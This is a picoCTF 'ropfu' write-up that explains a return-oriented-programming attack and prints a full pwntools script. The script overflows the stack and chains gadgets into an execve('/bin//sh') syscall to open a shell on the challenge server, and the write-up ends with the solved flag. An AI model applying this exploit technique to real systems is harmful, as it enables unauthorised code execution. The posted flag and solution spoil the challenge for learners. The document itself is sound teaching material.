ropfu

Description

What's ROP? Can you exploit the following program to get the flag? Download source. nc saturn.picoctf.net 50985

solution

Like it said in the hint, this challenge is a classic ROP challenge. We can use checksec to see that NX is enabled, so we can't use shellcode or put anything on the stack for execute it. So we need to build a ROPchain that uses syscall to get a shell.

Lucky us we have a tool that can help us with that - ROPgadget.

ROPgadget --binary ./vuln --ropchain

This tool gives us the payload we need. And here the final program:

#python2.7

from pwn import *
from struct import pack
p='a'*28
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5064) # @ .data + 4
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x080b074a) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x41414141) # padding
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x08059102) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x08049022) # pop ebx ; ret
p += pack('<I', 0x080e5060) # @ .data
p += pack('<I', 0x08049e39) # pop ecx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080583c9) # pop edx ; pop ebx ; ret
p += pack('<I', 0x080e5068) # @ .data + 8
p += pack('<I', 0x080e5060) # padding without overwrite ebx
p += pack('<I', 0x0804fb90) # xor eax, eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0808055e) # inc eax ; ret
p += pack('<I', 0x0804a3d2) # int 0x80


sh = remote('saturn.picoctf.net',  50985)
print sh.recv(1000)
sh.send(p)
sh.interactive()
sh.close()

We run this program, open a shell and print the flag - picoCTF{5n47ch_7h3_5h311_6693b0b0}